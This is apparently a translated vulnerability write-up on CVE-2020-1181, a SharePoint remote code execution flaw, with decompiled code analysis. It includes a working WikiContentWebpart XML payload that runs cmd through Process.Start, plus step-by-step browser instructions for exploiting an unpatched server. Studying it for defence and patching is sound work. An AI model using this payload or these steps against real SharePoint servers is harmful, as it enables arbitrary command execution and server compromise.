CVE-2020-1181:SharePoint远程代码执行漏洞分析

阅读量    169889 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

微软在上周发布了一个补丁,修复了CVE-2020-1181漏洞,这是SharePoint服务器中的一个远程代码执行(RCE)漏洞。该漏洞由一名匿名研究人员提交至ZDI,我们分配的编号为ZDI-20-694。在本文中,我们将与大家深入分析该漏洞的根源。

如果没有安装补丁,通过身份认证的用户可以在SharePoint服务器上,利用SharePoint Web Application的上下文执行任意.NET代码。如果想成功利用该漏洞,攻击者需具备SharePoint站点的“添加和自定义页面”权限。然而,默认配置的SharePoint允许身份认证用户创建站点。当用户执行该操作后,将成为该站点的所有者,自然就具备所需的所有权限。

 

0x01 漏洞描述

微软SharePoint服务器允许用户创建web页面,但为了避免被滥用,服务器会严格限制这些页面上能够出现的组件。SharePoint服务器会以不同的方式来处理“自有”页面和用户定义的页面。SharePoint的“自有”页面存放在文件系统上,不受任何限制。用户页面存放在数据库中,受服务器约束。其中有些限制条件包括无法使用代码块(code block)、无法包含文件系统中的文件。用户页面通常只能使用预定义列表中允许的web控件。

如果用户通过上传方式创建新页面,那么该页面也会受到限制。然而,如果新页面通过SharePoint Web Editor创建,那么就会被当成“ghost”页面,同样是可信的源。这个逻辑也很正常,因为SharePoint Web Editor会限制能够添加到页面的具体组件,因此页面可以在不受限制的模式下安全运行。

Web Editor中允许一种Web Part类型:WikiContentWebpart。这种Web Part允许包含任意ASP.NET标记,因此攻击者可以利用这种方式,在不受限模式下运行任意ASP.NET标记,最终实现远程代码执行。

 

0x02 分析漏洞代码

SharePoint使用SPPageParserFilter来阻止所有危险的内容。我们来分析下SPPageParserFilter的初始化过程:

// Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter 
protected override void Initialize() 
{ 
    if (!SPRequestModule.IsExcludedPath(base.VirtualPath, false)) 
    { 
        this._pageParserSettings = SPVirtualFile.GetEffectivePageParserSettings(base.VirtualPath, out this._safeControls, out this._cacheKey, out this._isAppWeb); 
        this._safeModeDefaults = SafeModeSettings.SafeModeDefaults; 
        return; 
    } 
/* ... */ 
} 
// Microsoft.SharePoint.ApplicationRuntime.SPVirtualFile 
internal static PageParserSettings GetEffectivePageParserSettings(string virtualPath, out SafeControls safeControls, out string cacheKeyParam, out bool isAppWeb) 
{ 
    HttpContext current = HttpContext.Current; 
    SPRequestModuleData requestData = SPVirtualFile.GetRequestData(current, virtualPath, true, true); 
    SPVirtualFile webPartPageData = requestData.GetWebPartPageData(current, virtualPath, true); 
    return webPartPageData.GetEffectivePageParserSettings(current, requestData, out safeControls, out cacheKeyParam, out isAppWeb); 
} 
// Microsoft.SharePoint.ApplicationRuntime.SPDatabaseFile 
internal override PageParserSettings GetEffectivePageParserSettings(HttpContext context, SPRequestModuleData basicRequestData, out SafeControls safeControls, out string cacheKeyParam, out bool isAppWeb) 
{ 
    PageParserSettings pageParserSettings = this.PageParserSettings; 
    isAppWeb = this._isAppWeb; 
    safeControls = null; 
    cacheKeyParam = null; 
    if (pageParserSettings == null) 
    { 
        if (this.IsGhosted) 
        { 
            bool treatAsUnghosted = this.GetTreatAsUnghosted(context, basicRequestData, this.GetDirectDependencies(context, basicRequestData)); 
            if (!treatAsUnghosted) 
            { 
                treatAsUnghosted = this.GetTreatAsUnghosted(context, basicRequestData, this.GetChildDependencies(context, basicRequestData)); 
            } 
            if (treatAsUnghosted) 
            { 
                pageParserSettings = PageParserSettings.DefaultSettings; 
            } 
            else if (this._isAppWeb) 
            { 
                pageParserSettings = PageParserSettings.GhostedAppWebPageDefaultSettings; 
            } 
            else 
            { 
                pageParserSettings = PageParserSettings.GhostedPageDefaultSettings; 
            } 
        } 
        else 
        { 
            pageParserSettings = PageParserSettings.DefaultSettings; 
        } 
    } 
    if (!pageParserSettings.AllowUnsafeControls) 
    { 
        safeControls = this.SafeControls; 
    } 
    cacheKeyParam = this.GetVirtualPathProviderCacheKey(context, basicRequestData); 
    return pageParserSettings; 

}

如果我们使用SharePoint Web Editor来创建页面,那么将导致IsGhosted = true,且_isAppWeb会被设置为false。需要注意的是,服务器还会执行附加检查,确保页面没有依赖更低信任等级的文件:

// Microsoft.SharePoint.ApplicationRuntime.SPDatabaseFile 
private bool GetTreatAsUnghosted(HttpContext context, SPRequestModuleData requestData, System.Collections.ICollection dependencyVirtualPaths) 
{ 
    bool result = false; 
    foreach (string path in dependencyVirtualPaths) 
    { 
        SPDatabaseFile sPDatabaseFile = requestData.GetWebPartPageData(context, path, true) as SPDatabaseFile; 
        if (sPDatabaseFile != null && !sPDatabaseFile.IsGhosted && (sPDatabaseFile.PageParserSettings == null || sPDatabaseFile.PageParserSettings.CompilationMode != CompilationMode.Always)) 
        { 
            result = true; 
            break; 
        } 
    } 
    return result; 
}

由于我们并没有添加这类文件,因此可以顺利通过这项检查。最后GetEffectivePageParserSettings()将返回PageParserSettings.GhostedPageDefaultSettings

// Microsoft.SharePoint.ApplicationRuntime.PageParserSettings 
internal static PageParserSettings GhostedPageDefaultSettings 
{ 
    get 
    { 
        if (PageParserSettings.s_ghostedPageDefaultSettings == null) 
        { 
            PageParserSettings.s_ghostedPageDefaultSettings = new PageParserSettings(CompilationMode.Always, true, true); 
        } 
        return PageParserSettings.s_ghostedPageDefaultSettings; 
    } 
} 
// Microsoft.SharePoint.ApplicationRuntime.PageParserSettings 
internal PageParserSettings(CompilationMode compilationmode, bool allowServerSideScript, bool allowUnsafeControls) 
{ 
    this.m_compilationMode = compilationmode; 
    this.m_allowServerSideScript = allowServerSideScript; 
    this.m_allowUnsafeControls = allowUnsafeControls; 

}

因此,我们的页面将具备这些属性:compilationmode=AlwaysallowServerSideScript=true以及allowUnsafeControls=true。我们再仔细分析一下WikiContentWebpart

// Microsoft.SharePoint.WebPartPages.WikiContentWebpart 
protected override void CreateChildControls() 
{ 
    if (!this.Visible || this.Page == null) 
    { 
        return; 
    } 
    if (this.Page.AppRelativeVirtualPath == null) 
    { 
        this.Page.AppRelativeVirtualPath = "~/current.aspx"; 
    } 
    Control obj = this.Page.ParseControl(this.Directive + this.Content, false); 
    this.AddParsedSubObject(obj); 
}

这意味着来自参数(Directive以及Content)的内容将由ParseControl(text2, false)解析,第二个参数(false)将强制服务器使用PageParserFilter,该过滤器将与PageParserSettings.GhostedPageDefaultSettings配合使用。

由于ParseControl()方法不会引发编译过程,因此我们无法直接指定.NET代码。然而,我们可以使用SharePoint中的危险控件来调用任意方法,获得代码执行权限。比如,可以运行任意OS命令的WikiContentWebpart配置如下所示:

<?xml version="1.0" encoding="utf-8"?> 
<WebPart xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/WebPart/v2"> 
  <Title>Wiki Content Web Part RCE</Title> 
  <Description>Executes Arbitrary Code on SharePoint Server</Description> 
  <IsIncluded>true</IsIncluded> 
  <Assembly>Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Assembly> 
  <TypeName>Microsoft.SharePoint.WebPartPages.WikiContentWebpart</TypeName> 
  <Content><![CDATA[ 
<asp:ObjectDataSource ID="ObjectDataSource1" runat="server" SelectMethod="Start" 
   TypeName="system.diagnostics.process" > 
     <SelectParameters> 
        <asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="cmd"/> 
        <asp:Parameter Direction="input" Type="string" Name="arguments" DefaultValue="/c echo pwned &gt; c:/windows/temp/RCE_PoC.txt"/> 
     </SelectParameters> 
</asp:ObjectDataSource> 
<asp:ListBox ID="ListBox1" runat="server" DataSourceID = "ObjectDataSource1" ></asp:ListBox>                   
End]]></Content> 
</WebPart>

 

0x03 PoC

在演示场景中,我们使用的版本为默认配置的Microsoft SharePoint 2019 Server,安装在Windows Server 2019 Datacenter系统上。服务器主机名为sp2019.contoso.lab,已加入contoso.lab域中,域控制器为一台独立的虚拟机。我们的目标主机已安装截至2020年2月份的所有补丁,因此对应的版本号为16.0.10355.20000

攻击系统中只需要使用支持的web浏览器即可。如下图所示,我们使用的浏览器为Mozilla Firefox 69.0.3。我们还会使用与前文类似的WikiContentWebpart,将其命名为WikiContentRCE.xml

首先我们访问SharePoint Server,以普通用户(user2)通过身份认证:

接下来创建站点,使该用户变成该站点所有者(owner),具备所有权限。

点击顶部面板的“SharePoint”区域:

然后点击“+ Create site”链接:

选择“Team Site”。现在我们需要为新站点设置名称,这里我们设置为testsiteofuser2

点击“Finish”,成功创建新站点:

现在点击“Pages”链接:

我们需要切换到“Classic View”,点击左下角的“Return to classic SharePoint”链接即可:

点击“+ New”,为新页面设置一个名称。这里我们设置为newpage1

点击“Create”按钮确认。

现在我们需要在“INSERT”标签页中选择“Web Part”:

在对话框窗口中,选择左下角的“Upload Web Part”链接,上传我们构造的WikiContentRCE.xml文件:

点击Upload。我们可能会看到一个警告弹窗:“确认离开页面?您输入的数据可能不会被保存”。此时点击“Leave Page”按钮即可,返回主编辑视图:

我们需要再次在INSERT标签页中选择Web Part小部件,其中将出现我们导入的Web Part:

在点击Add按钮之前,我们先转到目标SharePoint服务器,打开C:\windows\temp目录:

此时该目录中不存在RCE_PoC.txt文件。

现在我们转到攻击者主机,将我们导入的Web Part添加到页面中:

再次在目标服务器上检查C:\windows\temp目录:

通过这种方法,攻击者可以执行任意系统命令,入侵服务器。攻击者只需要在WikiContentRCE.xml文件中,将echo pwned > c:/windows/temp/RCE_PoC.txt字符串替换成所需的命令即可。

 

0x04 总结

在官方补丁文档中,微软将该漏洞的利用指数(XI)评为2,这意味着官方认为攻击者不大可能利用该漏洞。然而,如我们在PoC中演示的过程,只要用户通过身份认证,就可以轻松利用该漏洞。因此,我们建议大家将该漏洞的XI等级当成1来看待,这表示漏洞很可能会被利用。根据微软的描述,官方通过“更正微软SharePoint Server对已创建内容的处理过程”修复了这个bug,这似乎是一种合理的处理方式。对研究人员和攻击者而言,SharePoint仍具有相当的吸引力,后续我们也将公布关于SharePoint的其他漏洞信息。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多